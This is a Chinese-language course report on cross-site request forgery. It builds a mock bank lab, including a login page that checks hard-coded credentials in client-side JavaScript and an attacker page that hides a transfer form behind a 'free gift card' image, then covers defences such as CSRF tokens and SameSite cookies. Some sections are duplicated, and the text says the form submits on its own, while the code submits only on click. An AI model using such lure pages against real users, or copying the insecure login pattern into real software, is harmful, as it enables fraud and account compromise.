课程报告: CSRF攻击技术及其实现
1. 简介
跨站请求伪造 (Cross-Site Request Forgery, CSRF) 是一种网络安全攻击,攻击者通过伪造受信任用户的请求,执行未授权的操作。它利用了用户在已认证会话中不当保护的漏洞,诱使用户在不知情的情况下执行某些动作,从而达到攻击目的。
2. CSRF 攻击原理
CSRF 攻击利用了受害者在已认证状态下的身份。主要流程如下:
- 受害者登录到受信任网站(如银行网站),并产生一个有效的会话 cookie。
- 攻击者诱使受害者访问一个包含恶意请求的网页。
- 受害者访问该恶意网页时,网页中的恶意代码会自动发送一个请求到受信任网站。
- 由于受害者已登录,浏览器会自动附加会话 cookie,因此该请求将以受害者的身份执行。
- 受信任网站认为这是合法的请求,并执行请求中的操作,如转账、修改设置等。
3. CSRF 攻击的类型
- GET 请求的 CSRF 攻击:通过包含恶意 URL 的图像、超链接等来触发。
- POST 请求的 CSRF 攻击:通过隐藏表单和自动提交脚本来实现。
4. CSRF 攻击的实现
下面是一个简单的 CSRF 攻击实例:
4.1 环境搭建
- 受信任网站 (Target):假设有一个简单的银行网站
http://trustedbank.com
,其中有一个转账页面。
- 恶意网站 (Attacker):攻击者控制的恶意网站
http://evilsite.com
。
4.2 受信任网站的转账页面
假设受信任网站的转账页面如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <!DOCTYPE html> <html> <head> <title>Trusted Bank - Transfer</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; } .transfer-container { background-color: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; } h1 { text-align: center; color: #333; margin-bottom: 20px; } form { display: flex; flex-direction: column; } label { margin-bottom: 5px; } input[type="text"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; border-radius: 4px; } input[type="submit"] { padding: 10px; background-color: #5cb85c; border: none; border-radius: 4px; color: white; cursor: pointer; margin-top: 10px; } input[type="submit"]:hover { background-color: #4cae4c; } </style> </head> <body> <div class="transfer-container"> <h1>Transfer Money</h1> <form action="transfer.html" method="GET" id="transferForm"> <label for="amount">Amount:</label> <input type="text" id="amount" name="amount" value=""> <label for="to_account">To Account:</label> <input type="text" id="to_account" name="to_account" value=""> <input type="submit" value="Transfer"> </form> </div> </body> </html>
|
4.3 登录界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| <!DOCTYPE html> <html> <head> <title>Trusted Bank - Login</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; } .login-container { background-color: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; } h1 { text-align: center; color: #333; } form { margin-top: 20px; } label { display: block; margin-bottom: 5px; } input[type="text"], input[type="password"] { width: 100%; padding: 10px; margin-bottom: 20px; border: 1px solid #ddd; border-radius: 4px; } input[type="submit"] { width: 100%; padding: 10px; background-color: #5cb85c; border: none; border-radius: 4px; color: white; cursor: pointer; } input[type="submit"]:hover { background-color: #4cae4c; } </style> <script> // 客户端验证逻辑 function validateForm() { var username = document.getElementById('username').value; var password = document.getElementById('password').value; // 检查用户名和密码是否符合预期值 if (username === "user" && password === "password") { // 如果匹配,设置cookie并允许表单提交 document.cookie = "auth_token=secret123; path=/"; // 假设的token值 return true; } else { // 如果不匹配,显示错误消息并阻止表单提交 alert("Invalid username or password."); return false; } } </script> </head> <body> <div class="login-container"> <h1>Login</h1> <!-- 表单提交时调用validateForm函数 --> <form action="trustedbank.html" method="POST" onsubmit="return validateForm()"> <label for="username">Username:</label> <input type="text" id="username" name="username"><br><br> <label for="password">Password:</label> <input type="password" id="password" name="password"><br><br> <input type="submit" value="Login"> </form></div> </body> </html>
|
4.4 转账后台
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <!DOCTYPE html> <html> <head> <title>Trusted Bank - Transfer</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f4; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; height: 100vh; } .transfer-container { background-color: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); width: 300px; } h1 { text-align: center; color: #333; margin-bottom: 20px; } form { display: flex; flex-direction: column; } label { margin-bottom: 5px; } input[type="text"] { width: calc(100% - 22px); /* 减去padding和border的宽度 */ padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; border-radius: 4px; } input[type="submit"] { padding: 10px; background-color: #5cb85c; border: none; border-radius: 4px; color: white; cursor: pointer; margin-top: 10px; } input[type="submit"]:hover { background-color: #4cae4c; } </style> </head> <body> <div class="transfer-container"> <h1>Transfer Money</h1> <form action="transfer.html" method="GET" id="transferForm"> <label for="amount">Amount:</label> <input type="text" id="amount" name="amount" value=""> <label for="to_account">To Account:</label> <input type="text" id="to_account" name="to_account" value=""> <input type="submit" value="Transfer"> </form> </div> </body> </html>
|
4.4 恶意网站的 CSRF 攻击页面
攻击者构造的恶意页面如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>点击图片提交表单示例</title> <style> .submit-image { cursor: pointer; transition: transform 0.2s; } .submit-image:hover { transform: scale(1.05); } </style> </head> <body> <h1>点击图片获取免费礼品卡</h1> <img src="https://officialwebsitestorage.blob.core.chinacloudapi.cn/public/upload/photo_db/2021/08/02/202108021554369816/202108021554369816_640_0.jpg?&rand=0827" alt="点击图片提交" class="submit-image" onclick="submitForm()"> <form id="csrf-form" action="transfer.html" method="get" style="display: none;"> <input type="hidden" name="amount" value="1000"> <input type="hidden" name="to_account" value="attacker_account"> </form> <script> function submitForm() { document.getElementById("csrf-form").submit(); } </script> </body> </html>
|
当用户访问 http://evilsite.com
时,表单会自动提交,导致用户的账户资金被转到攻击者的账户。
5. 防御措施
- CSRF Token:每次生成的表单包含一个唯一的、不可预测的 token,并在服务器端进行验证。
- SameSite Cookie 属性:通过设置 cookie 的 SameSite 属性为 Lax 或 Strict,防止浏览器在跨站请求中发送 cookie。
- 检查 Referer 或 Origin 头:验证请求的来源是否为可信的域名。
- 双重提交 Cookie:在请求中包括一个 cookie 和一个表单字段,两者应匹配。
5.1 CSRF Token 实现
在服务器生成表单时,添加一个隐藏的 CSRF Token,并在提交时进行验证。
1 2 3 4 5 6
| <form action="http://trustedbank.com/transfer" method="POST"> <input type="hidden" name="csrf_token" value="随机生成的token"> <input type="text" name="amount" value="1000"> <input type="text" name="to_account" value="123456"> <input type="submit" value="Transfer"> </form>
|
服务器端验证代码示例:
1 2 3 4 5
| def validate_csrf_token(token): if token in valid_tokens: return True return False
|
5.2 设置 SameSite 属性
通过设置 SameSite 属性,防止跨站请求发送 cookie。
1
| response.set_cookie('sessionid', session_id, samesite='Lax')
|
5.3 检查 Referer 或 Origin 头
在服务器端检查请求头,确保请求来自受信任的来源。
1 2
| def is_valid_referer(referer): return referer.startswith('http://trustedbank.com')
|
5.4 双重提交 Cookie
在请求中包括一个 cookie 和一个表单字段,两者应匹配。
1 2 3 4 5 6
| <form action="http://trustedbank.com/transfer" method="POST"> <input type="hidden" name="csrf_token" value="cookie中的token"> <input type="text" name="amount" value="1000"> <input type="text" name="to_account" value="123456"> <input type="submit" value="Transfer"> </form>
|
服务器端验证:
1 2
| def validate_double_submit(csrf_token, cookie_token): return csrf_token == cookie_token
|
6. 结论
CSRF 攻击利用了用户的身份和信任关系,执行未授权的操作。尽管 CSRF 攻击的实施较为简单,但其破坏力巨大,可能导致用户隐私泄露、资金损失等严重后果。通过合理的防御措施,可以有效防范 CSRF 攻击,保护用户的安全。
参考资料